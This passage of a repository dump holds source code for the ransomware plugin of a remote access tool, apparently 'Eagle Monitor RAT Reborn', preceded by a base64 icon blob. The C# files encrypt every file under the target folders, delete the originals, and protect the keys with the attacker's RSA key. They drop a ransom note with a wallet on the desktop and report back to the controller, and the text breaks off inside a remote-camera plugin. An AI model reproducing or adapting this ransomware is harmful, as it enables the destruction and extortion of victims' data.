AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAg2hGAoBmRwl8ZEgAcV5JImxbSYdnWEgpAAAAAFhNQ9JSSUH/SkM9/0M9Of87NjS+NDAwZC8sLQUA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAkG9ACIxtQg2EaEYnf2ZIkHliSddzX0mLa1pJVGZXSPRhU0dBV0xDcFJJQf9KQz3/Qz05/zs2NOU3 MjILAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAJdyOjGRcD+Ci2xDwYVpRfJ/ZkjGeWJJq3JfSfxsW0nzZldI/mBSRuxaTkQgUUhAzkpDPf9D PTn/OzY0/zUwMJYAAAAAAAAAAAAAAAAAAAAAIB8jIyAfI1EAAAAAAAAAAAAAAAAAAAAAAAAAALZ9BAix fAwyq3kUVqV3IG6fdS1/mHI4iJFwP4qLbEOIhWlFsn9mSP95Ykn/cl9J/2xbSf9mV0j/X1JG/1lORONR SEHNSkM9/0M9Of87NjT/NDAw8wAAAAAAAAAAAAAAAAAAAAAgHyNyIB8j2AAAAAAAAAAAAAAAAMSBADS+ gAB6t30CobJ8DJyreRSapXcgoJ91La+YcjjFkXA/4otsQ/2FaUX/f2ZI/3liSf9yX0n/bFtJ/2ZXSP9f Ukb/WU1E/1JJQf9KQz3/Qz05/zs2NP8zLzD9LSoreSYkJzohICROIB8jjD0uKf4xKCa6AAAAAAAAAAAA AAAAyIIAAAAAAAC2fQQbsXwMe6t5FLSldyDXn3Ut45hyONqScD/Oi2xDyYVpReF/Zkj7eWJJ/3JfSf9s W0n/ZldI/19SRv9ZTUT/UklB/0pDPf9DPTn/OzY0/zMvMP8sKSv/JiQn/yEgJP8gHyP/QzEq/yAfI7EA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKJ2JgCddS8Ml3I5J5FwP0GLbENchWlFeH9mSJl5 YknNcl5J+mxbSf9mV0j/X1JG/1lNRP9SSUH/SkM9/0M9Of87NjT/My8w/ywpK/8mJCf/ISAk/yEgI/8h ICP/IB8jUgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAkG9AGotsQ2KF aUWUf2ZIu3liSc9yXknqbFtJ/2ZXSP9fUkb/Wk5E/2lSQf9pUD7/aE08/2ZKOf9aQjX/LCkr/yYkJ/8h ICT/IB8j3iQiJWMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAnHQyApdyOUaR cD+Ci2xDmYVpRax/Zki6eWJJxHNfScNsW0ncZ1dI/3RZRf9vVUP/VUpB/0pDPf9DPTn/OzY0/zcxMP8x LCz+JiQnwyonKrVKQj3ZYlRH23hiSF+NbUEXq3kWBMCAABcAAAAAAAAAAAAAAAAAAAAAAAAAAKR3Ix2e dS6EmHI4s5FwP8aLbEPRhWlF4X9mSON5YknRcl5Jz3VdSP95XUb/YVJG/1lNRP9SSUH/SkM9/0M9Of87 NjT/My8w/y0qK8IhICSPLyssvkpCPdtjVEfyemNI+pBvPvWoeBvYvH8BdwAAAAAAAAAAAAAAAK97Dwir eRRnpncffJ91LEKXcjk/kXA/motsQ7CFaUXJf2ZI+HliSf97YUj/dF1I/2ZXSP9fUkb/WU1E/1JJQf9K Qz3/Qz05/zs2NP8zLzD/LSorliIhJKQ7NjS8W09EoXhiSH2TcDtZr3sQMsKBAAQAAAAAAAAAAAAAAAAA AAAAsHsOB697DwAAAAAAAAAAAAAAAACQb0ATi2xDdIVpRet/Zkj/emNJ/3VfSf9sW0n/ZldI/19SRv9Z TUT/UklB/0pDPf9DPTn/OzY0/zMvMP8vLC0zAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAl3I6QJFwP7KLbEP2hWlF/39mSP95Ykn/cl9J/2xbSf9m V0j/YFJG/11PRP9VSkH/SkM9/0M9Of87NjT/My8w/y8sLR8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJ11LzSYcjiekXA/yItsQ/OFaUX/f2ZI/3liSf9y X0n/bltJ/21ZR/9rVkX/ZVJD/2VQQf9pUD7/ak48/zs2NP8zLzD/LissWSUjJgEAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACkdyQrn3UtpphyOKWRcD/Vi2xD3YVpRfh/ Zkj/eWJJ/3JfSf9sW0n/ZldI/19SRv9ZTUT/UklB/0pDPf9VRTv/Y0g4/zMvMP8sKivsJyUoYwAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAqXkXDqV3IF6edS6nmHI4zJFwP6mL bEPqhWlF139mSPh5Ykn/cl9J/2xbSf9mV0j/X1JG/1lNRNlRSEHkSkM9/1NEOv9gRzj/My8w/ywqK9co JigNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACpeRcYpXcgxZ91LYmX cjnGknA/wotsQ7GFaUX1f2ZI23liSfZyX0n/bFtJ+2ZXSKBhU0cxV0xDNlFIQfNNRD3/Xkk7/zs2NP80 MDDPLissGwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAr3sPAqt5FH+l dyFkn3Ut45hyOJGRcD/ZjG1C2IVpRaB/ZkjveWJJ/3NfSbBtXEkmZFZIFV9SRoFYTUT3UklB/0pDPf9D PTn5PDc1iDYyMggAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACv ew8EqnkWTKZ3H9OedS58mHI49pJwPp+LbEOphWlF/39mSOJ5Y0lgcl5JamxbSbRmV0jmYFJGy1hNRMFS SUHHS0M9ikU/Oh8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAK97DxasehOwpHchbZ91LfeYcjd9kXA/zotsQ/+GaUWjgWdHDwAAAAAAAAAAa1pJEmZXSDZf UkZQWU5EO1RLQgQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAsHsOLap5FUuldx/wn3UtcZdyOeOScD/3jG1CYohrRAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAACvew8Qq3kU3aZ3H2ifdS3pmHI46JNxPTYAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALB7Dm+sehNWpXcg3p91LNyaczUiAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAsnwMEKp5FaOmdx/doXYpHAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACvew8ZrHkT6Kd4GyMA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAK97Dyat ehFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/ ///////cH///gB///wAf//8Af//AgP//AAH//gAB58AAAecAAAAHQAAAB/gAAAf/AAAP/AAAAPgAAADg AAAB5wAA//4AAP/8AAB/+AAAf/AAAH/wAAD/4AAB/+AAB//gDB//4B///+B////g////4f///+P////n /////////ygAAAAQAAAAIAAAAAEAIAAAAAAAAAQAACMuAAAjLgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAABRSEAFAAAAADEtLgsmJCcLIB8jAgAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAABaTkQZTkU/f0A7ODgwLS2RJCImhSAfIxAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAgGdHA3FeSQlrWkksWE1Ea05FP/A/OjftMS0ueyckJyAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAACXcjoMjm5BVoJnR5t2YEnDaFhIzl1RRW9ORj/zPzo3+DUxMSgAAAAAIB8jCSAfIxQA AAAAwIAAK7R8B16oeBqAm3Mzn45uQbyCZ0bsdmBJ/2lZSP9cUEX4TkY/8z85N/8yLi+aIyElIi4nJn8o IyVkAAAAAMiCAACyfAsmqHgaY5t0M3yObkGNgmdGvHVgSfFpWUj/XFBF/05GP/8/OTf/MCwt/yMiJf8p JCX/IB8jQQAAAAAAAAAAAAAAAAAAAACXcjkSjW5BZoJnRq12YEnQaVlI9mdURP9cSz//U0I4/zwyL/8l IybdQDk1vXxkRx29fwQHAAAAAK97DwKoeBtAm3Mzbo5uQbiCZ0bheGFJ53JbSP9cUEX/TkY//z85N/8x LS7WLCkrq11QQ7uKaz6fr3sSVQAAAACwew4Cr3sPAJdyOhCNbkGMgmdG+nZhSf9pWUj/XVBF/09GP/8/ OTf/My8vlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKR3JAuaczSHjm5B24JnRv12YEn/a1lI/2JSRf9b Sz//V0Q5/zEtLtEnJSgZAAAAAAAAAAAAAAAAAAAAAAAAAACmdx9Sm3M0sI5uQcGCZ0bodmBJ/WlZSeZc UEWQTkY/9VNCOP8xLi6wKCYoAwAAAAAAAAAAAAAAAAAAAACvew8Bp3gbgJtzM7qObkG+gmdG3HZhSZ5p WUh1W09FwU5GP9RBOzhoNjIyAgAAAAAAAAAAAAAAAAAAAAAAAAAAsHsOEah4G5abdDKyj25ByYVpRS0A AAAAZ1dIEl1QRSNUS0IBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALB7DiCoeBqenHQxtJNxPQ4A AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwew4KqXkYo6F2KQcA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAr3sPCa16ERAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/6MAAP8DAAD4 BwAA4AkAAAABAAAAAQAA4AAAAIAAAACADwAAwAcAAMAHAACADwAAgj8AAIf/AACP/wAAn/8AAA== ================================================ FILE: Remote Access Tool/Plugins/Ransomware/Imports.cs ================================================ using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace Plugin { internal static class Imports//NtLockFile, NtOpenFile, NtUnlockFile { } } ================================================ FILE: Remote Access Tool/Plugins/Ransomware/Launch.cs ================================================ using PacketLib; using PacketLib.Packet; using PacketLib.Utils; using Plugin.Operation; using System.Threading; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { public static class Launch { public static void Main(LoadingAPI loadingAPI) { switch (loadingAPI.CurrentPacket.PacketType) { case PacketType.RANSOMWARE_ENCRYPTION: RansomwareEncryptionPacket ransomwareEncryptionPacket = (RansomwareEncryptionPacket)loadingAPI.CurrentPacket; ActionEncryption encryption = new ActionEncryption( ransomwareEncryptionPacket.publicRSAServerKey, ransomwareEncryptionPacket.paths, ransomwareEncryptionPacket.msg, ransomwareEncryptionPacket.wallet, loadingAPI ); encryption.StartAction(); break; case PacketType.RANSOMWARE_DECRYPTION: RansomwareDecryptionPacket ransomwareDecryptionPacket = (RansomwareDecryptionPacket)loadingAPI.CurrentPacket; ActionDecryption decryption = new ActionDecryption( ransomwareDecryptionPacket.privateRSAServerKey ); decryption.StartAction(decryption.decryption.encryptedData); break; default: return; } Miscellaneous.CleanMemory(); } internal static void ClientSender(Host host, string key, IPacket packet) { ClientHandler clientHandler = new ClientHandler(host, key); clientHandler.ConnectStart(); while (!clientHandler.Connected) Thread.Sleep(125); clientHandler.SendPacket(packet); } } } ================================================ FILE: Remote Access Tool/Plugins/Ransomware/Operation/ActionDecryption.cs ================================================ using Newtonsoft.Json; using System; using System.Collections.Generic; using System.IO; using System.Text; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin.Operation { internal class ActionDecryption { private readonly int BUFFER_CHUNK_SIZE = 10485760; private delegate void ActionDelegate(Dictionary files); private delegate string FileAction(KeyValuePair file); private ActionDelegate actionDelegate; private FileAction fileAction; private StringBuilder rsaPrivateKey { get; set; } internal Encryption.Encrypted decryption { get; set; } internal ActionDecryption(string privateRSAServerKey) { this.rsaPrivateKey = new StringBuilder(); this.decryption = JsonConvert.DeserializeObject(File.ReadAllText(Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + "\\encrypted.json")); File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + "\\encrypted.json"); foreach (string keyPart in decryption.clientRSAPrivate) { byte[] converted = Convert.FromBase64String(keyPart); byte[] decrypted = Encryption.RSA.RSADecrypt(converted, privateRSAServerKey); rsaPrivateKey.Append(Encoding.Default.GetString(decrypted)); } this.actionDelegate = new ActionDelegate(Do); this.fileAction = new FileAction(FileDecryptionOperated); } internal void StartAction(Dictionary files) { this.actionDelegate.BeginInvoke(files, new AsyncCallback(EndAction), null); } private void AppendToFile(string fileToWrite, byte[] data) { using (FileStream FS = new FileStream(fileToWrite, File.Exists(fileToWrite) ? FileMode.Append : FileMode.OpenOrCreate, FileAccess.Write)) { FS.Write(data, 0, data.Length); FS.Close(); } } private void Do(Dictionary files) { foreach (KeyValuePair file in files) { IAsyncResult ar = this.fileAction.BeginInvoke(file, null, null); string filePath = this.fileAction.EndInvoke(ar); File.Delete(filePath); } } private string FileDecryptionOperated(KeyValuePair file) { byte[] key = Encryption.RSA.RSADecrypt(Convert.FromBase64String(file.Value), rsaPrivateKey.ToString()); string fullPath = file.Key + ".encrypted"; using (Stream source = File.OpenRead(fullPath)) { byte[] buffer = new byte[BUFFER_CHUNK_SIZE]; int bytesRead = 0; long currentOffset = 0; long totalSize = new FileInfo(fullPath).Length; if (totalSize > BUFFER_CHUNK_SIZE) { while ((bytesRead = source.Read(buffer, 0, buffer.Length)) > 0) { byte[] decrypted = Encryption.RSM.RSMDecrypt(buffer, key); AppendToFile(file.Key, decrypted); currentOffset += bytesRead; totalSize -= bytesRead; if (totalSize < BUFFER_CHUNK_SIZE) buffer = new byte[totalSize]; } } else { buffer = new byte[totalSize]; bytesRead = source.Read(buffer, 0, buffer.Length); byte[] decrypted = Encryption.RSM.RSMDecrypt(buffer, key); AppendToFile(file.Key, decrypted); } } return fullPath; //return true; } private void EndAction(IAsyncResult ar) { actionDelegate.EndInvoke(ar); } } } ================================================ FILE: Remote Access Tool/Plugins/Ransomware/Operation/ActionEncryption.cs ================================================ using Newtonsoft.Json; using PacketLib; using PacketLib.Packet; using PacketLib.Utils; using System; using System.Collections.Generic; using System.IO; using System.Text; /* || AUTHOR Arsium || || github : https://github.com/arsium || || RSA 470 Bytes buffer explained : https://info.townsendsecurity.com/bid/29195/how-much-data-can-you-encrypt-with-rsa-keys || */ namespace Plugin.Operation { internal class ActionEncryption { private readonly int BUFFER_CHUNK_SIZE = 10485760;//10MB private delegate void ActionDelegate(); private delegate string FileAction(string path); private ActionDelegate actionDelegate; private FileAction fileAction; private Listpaths { get; set; } private Dictionary rsaPair { get; set; } private List rsaParsed { get; set; } private Dictionary results = new Dictionary(); private string message { get; set; } private string wallet { get; set; } private LoadingAPI loadingAPI { get; set; } private string key { get; set; } internal ActionEncryption(string publicRSAServerKey, List paths, string message, string wallet, LoadingAPI loadingAPI) { this.wallet = wallet; this.message = message; this.paths = paths; this.loadingAPI = loadingAPI; this.rsaParsed = new List(); this.rsaPair = Encryption.RSA.GetKey(); using (Stream stream = new MemoryStream(Encoding.Default.GetBytes(this.rsaPair["PrivateKey"]))) { byte[] buffer = new byte[470]; int bytesRead = 0; long currentOffset = 0; long totalSize = Encoding.Default.GetBytes(this.rsaPair["PrivateKey"]).Length; if (totalSize > 470) { while ((bytesRead = stream.Read(buffer, 0, buffer.Length)) > 0) { byte[] encrypted = Encryption.RSA.RSAEncrypt(buffer, publicRSAServerKey); rsaParsed.Add(Convert.ToBase64String(encrypted)); currentOffset += bytesRead; totalSize -= bytesRead; if (totalSize < 470) buffer = new byte[totalSize]; } } else { buffer = new byte[totalSize]; bytesRead = stream.Read(buffer, 0, buffer.Length); byte[] encrypted = Encryption.RSA.RSAEncrypt(buffer, publicRSAServerKey); rsaParsed.Add(Convert.ToBase64String(encrypted)); } stream.Dispose(); stream.Close(); } this.rsaPair["PrivateKey"] = null; this.actionDelegate = new ActionDelegate(Do); this.fileAction = new FileAction(FileEncryptionOperated); } internal void StartAction() { this.actionDelegate.BeginInvoke(new AsyncCallback(EndAction), null); } private void AppendToFile(string fileToWrite, byte[] data) { using (FileStream FS = new FileStream(fileToWrite, File.Exists(fileToWrite) ? FileMode.Append : FileMode.OpenOrCreate, FileAccess.Write)) { FS.Write(data, 0, data.Length); FS.Dispose(); FS.Close(); } } private bool CheckFileBeforeEncryption() { // return true; } private void Do() { Dictionary results = new Dictionary(); foreach (string dirPath in paths) { foreach (string file in Directory.GetFiles(dirPath, "*.*", SearchOption.AllDirectories)) { IAsyncResult ar = this.fileAction.BeginInvoke(file, null, null); string key = this.fileAction.EndInvoke(ar); this.results.Add(file, key); } } } private string FileEncryptionOperated(string path) { //lock file with native imports string generateKey = KeyGenerator.GenerateKey(); using (Stream source = File.OpenRead(path)) { byte[] buffer = new byte[BUFFER_CHUNK_SIZE]; int bytesRead = 0; long currentOffset = 0; long totalSize = new FileInfo(path).Length; if (totalSize > BUFFER_CHUNK_SIZE) { while ((bytesRead = source.Read(buffer, 0, buffer.Length)) > 0) { byte[] encrypted = Encryption.RSM.RSMEncrypt(buffer, Encoding.Unicode.GetBytes(generateKey)); AppendToFile(path + ".encrypted", encrypted); currentOffset += bytesRead; totalSize -= bytesRead; if (totalSize < BUFFER_CHUNK_SIZE) buffer = new byte[totalSize]; } } else { buffer = new byte[totalSize]; bytesRead = source.Read(buffer, 0, buffer.Length); byte[] encrypted = Encryption.RSM.RSMEncrypt(buffer, Encoding.Unicode.GetBytes(generateKey)); AppendToFile(path + ".encrypted", encrypted); } source.Dispose(); source.Close(); } File.Delete(path); return Convert.ToBase64String(Encryption.RSA.RSAEncrypt(Encoding.Unicode.GetBytes(generateKey), this.rsaPair["PublicKey"])); } private void EndAction(IAsyncResult ar) { actionDelegate.EndInvoke(ar); Encryption.Encrypted encrypted = new Encryption.Encrypted(); encrypted.clientRSAPrivate = this.rsaParsed; encrypted.encryptedData = this.results; string fullResults = JsonConvert.SerializeObject(encrypted); File.WriteAllText(Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + "\\encrypted.json", fullResults); File.WriteAllText(Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + "\\Notes.txt", this.wallet + Environment.NewLine + Environment.NewLine + this.message); Launch.ClientSender(this.loadingAPI.Host, this.loadingAPI.Key, new RansomwareConfirmationPacket(PacketType.RANSOMWARE_ENCRYPTION_CONFIRMATION, fullResults, this.loadingAPI.BaseIp, this.loadingAPI.HWID)); } } } ================================================ FILE: Remote Access Tool/Plugins/Ransomware/Operation/KeyGenerator.cs ================================================ using System; using System.Collections.Generic; using System.Text; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin.Operation { internal class KeyGenerator { private const string RandomChar = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz123456789/*-+=:;,ùµ$^-)àç!è§('é&|@#{[^{}[]`´~<>\\¶¥¤¼»º§¦©ª«¬­®¯°±²Þß÷ö"; private static Random RandomGeneration = new Random(); internal static string GenerateKey() { List byteKey = new List(); int exactSize = (256 - 1) / 8; for (var i = 0; i <= exactSize; i++) { byteKey.Add(Convert.ToByte(RandomChar[RandomGeneration.Next(0, RandomChar.Length)])); } return Encoding.Default.GetString(byteKey.ToArray()); } } } ================================================ FILE: Remote Access Tool/Plugins/Ransomware/Properties/AssemblyInfo.cs ================================================ using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; // Les informations générales relatives à un assembly dépendent de // l'ensemble d'attributs suivant. Changez les valeurs de ces attributs pour modifier les informations // associées à un assembly. [assembly: AssemblyTitle("Ransomware")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] [assembly: AssemblyProduct("Ransomware")] [assembly: AssemblyCopyright("Arsium © 2022")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] // L'affectation de la valeur false à ComVisible rend les types invisibles dans cet assembly // aux composants COM. Si vous devez accéder à un type dans cet assembly à partir de // COM, affectez la valeur true à l'attribut ComVisible sur ce type. [assembly: ComVisible(false)] // Le GUID suivant est pour l'ID de la typelib si ce projet est exposé à COM [assembly: Guid("150ca92e-fd24-4518-8b7b-bbecb4cc7578")] // Les informations de version pour un assembly se composent des quatre valeurs suivantes : // // Version principale // Version secondaire // Numéro de build // Révision // // Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut // en utilisant '*', comme indiqué ci-dessous : // [assembly: AssemblyVersion("1.0.*")] [assembly: AssemblyVersion("3.2.4.0")] [assembly: AssemblyFileVersion("3.2.4.0")] ================================================ FILE: Remote Access Tool/Plugins/Ransomware/Ransomware.csproj ================================================  Debug AnyCPU {150CA92E-FD24-4518-8B7B-BBECB4CC7578} Library Properties Plugin Ransomware v4.5 512 true true full false bin\Debug\ DEBUG;TRACE prompt 4 none true ..\..\bin\Release\Plugins\ TRACE prompt 4 ..\..\packages\Costura.Fody.4.1.0\lib\net40\Costura.dll False ..\..\Eagle Monitor RAT Reborn\DLLs\Newtonsoft.Json.dll Form FormTemplate.cs {81e3752a-0ac1-4eb4-8b5f-81eea8ffb0ff} PacketLib Ce projet fait référence à des packages NuGet qui sont manquants sur cet ordinateur. Utilisez l'option de restauration des packages NuGet pour les télécharger. Pour plus d'informations, consultez http://go.microsoft.com/fwlink/?LinkID=322105. Le fichier manquant est : {0}. ================================================ FILE: Remote Access Tool/Plugins/Ransomware/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs ================================================ // using System; using System.Reflection; [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")] ================================================ FILE: Remote Access Tool/Plugins/Ransomware/obj/Release/.NETFramework,Version=v4.8.AssemblyAttributes.cs ================================================ // using System; using System.Reflection; [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.8", FrameworkDisplayName = ".NET Framework 4.8")] ================================================ FILE: Remote Access Tool/Plugins/Ransomware/obj/Release/Ransomware.csproj.CoreCompileInputs.cache ================================================ 52790f521b9db5a6e0ed4d91900144593faecfad ================================================ FILE: Remote Access Tool/Plugins/Ransomware/obj/Release/Ransomware.csproj.FileListAbsolute.txt ================================================ C:\Eagle Monitor RAT Reborn\bin\Release\Plugins\Ransomware.dll C:\Eagle Monitor RAT Reborn\Plugins\Ransomware\obj\Release\Ransomware.csproj.AssemblyReference.cache C:\Eagle Monitor RAT Reborn\Plugins\Ransomware\obj\Release\Ransomware.csproj.CoreCompileInputs.cache C:\Eagle Monitor RAT Reborn\Plugins\Ransomware\obj\Release\Ransomware.dll C:\Eagle Monitor RAT Reborn\Plugins\Ransomware\obj\Release\Ransomware.csproj.Fody.CopyLocal.cache C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\bin\Release\Plugins\Ransomware.dll C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\Ransomware\obj\Release\Ransomware.csproj.AssemblyReference.cache C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\Ransomware\obj\Release\Ransomware.csproj.CoreCompileInputs.cache C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\Ransomware\obj\Release\Ransomware.csproj.Fody.CopyLocal.cache C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\Ransomware\obj\Release\Ransomware.dll C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Plugins\Ransomware.dll C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\Ransomware\obj\Release\Ransomware.csproj.AssemblyReference.cache C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\Ransomware\obj\Release\Plugin.FormTemplate.resources C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\Ransomware\obj\Release\Ransomware.csproj.GenerateResource.cache C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\Ransomware\obj\Release\Ransomware.csproj.CoreCompileInputs.cache C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\Ransomware\obj\Release\Ransomware.csproj.Fody.CopyLocal.cache C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\Ransomware\obj\Release\Ransomware.dll F:\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Plugins\Ransomware.dll F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Ransomware\obj\Release\Ransomware.csproj.AssemblyReference.cache F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Ransomware\obj\Release\Plugin.FormTemplate.resources F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Ransomware\obj\Release\Ransomware.csproj.GenerateResource.cache F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Ransomware\obj\Release\Ransomware.csproj.CoreCompileInputs.cache F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Ransomware\obj\Release\Ransomware.csproj.Fody.CopyLocal.cache F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Ransomware\obj\Release\Ransomware.dll E:\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Plugins\Ransomware.dll E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Ransomware\obj\Release\Ransomware.csproj.AssemblyReference.cache E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Ransomware\obj\Release\Plugin.FormTemplate.resources E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Ransomware\obj\Release\Ransomware.csproj.GenerateResource.cache E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Ransomware\obj\Release\Ransomware.csproj.CoreCompileInputs.cache E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Ransomware\obj\Release\Ransomware.csproj.Fody.CopyLocal.cache E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Ransomware\obj\Release\Ransomware.dll ================================================ FILE: Remote Access Tool/Plugins/Ransomware/obj/Release/Ransomware.csproj.Fody.CopyLocal.cache ================================================ ================================================ FILE: Remote Access Tool/Plugins/Ransomware/obj/Release/_IsIncrementalBuild ================================================ obj\Release\\_IsIncrementalBuild ================================================ FILE: Remote Access Tool/Plugins/Ransomware/packages.config ================================================  ================================================ FILE: Remote Access Tool/Plugins/RemoteCamera/ClientHandler.cs ================================================ using PacketLib; using PacketLib.Packet; using PacketLib.Utils; using System; using System.IO; using System.Net.Sockets; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { internal class ClientHandler : IDisposable { public Host host { get; set; } private Socket socket { get; set; } public bool Connected { get; set; } public string HWID { get; set; } public string baseIp { get; set; } public string key { get; set; } public bool hasToExit { get; set; } public delegate bool ConnectAsync(); private delegate PacketType SendDataAsync(IPacket data); public ConnectAsync connectAsync; private readonly SendDataAsync sendDataAsync; public delegate byte[] ReadDataAsync(); public delegate IPacket ReadPacketAsync(byte[] BufferPacket); public ReadDataAsync readDataAsync; public ReadPacketAsync readPacketAsync; public ClientHandler(Host host, string key, string baseIp, string HWID) : base() { this.hasToExit = false; this.host = host; this.key = key; this.HWID = HWID; this.baseIp = baseIp; 